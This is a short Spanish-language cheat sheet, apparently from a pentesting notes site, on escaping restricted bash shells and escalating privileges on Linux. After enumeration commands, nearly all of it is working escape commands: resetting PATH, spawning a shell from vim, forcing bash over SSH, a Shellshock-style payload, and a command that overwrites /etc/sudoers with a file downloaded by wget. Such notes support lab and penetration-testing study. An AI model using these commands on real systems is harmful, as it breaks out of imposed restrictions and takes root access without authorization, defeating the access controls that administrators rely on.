Bash jails

Linux privilege Escalation

Bash, que significa "Bourne Again SHell", es un intérprete de comandos (shell) y lenguaje de scripting muy popular en sistemas operativos basados en Unix, como Linux y macOS, que permite interactuar con el sistema operativo a través de comandos de texto


Enumeración

  • vamos a enumerar la bash para ver si estamos en una jail

echo $SHELL
echo $PATH
env
export
pwd
whoami
id

Explotación

  • vamos a ver si podemos modificar el path

echo $PATH
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin # tratando de cambiar el path
echo /home/*

vim

:set shell=/bin/sh
:shell

Creando un ejecutable

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

si estamos en SSH usamos este truco para executar una shell de bash

ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Declarando

declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i

Sobreescribir sudoers

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Exploitation Reference : click here

Last updated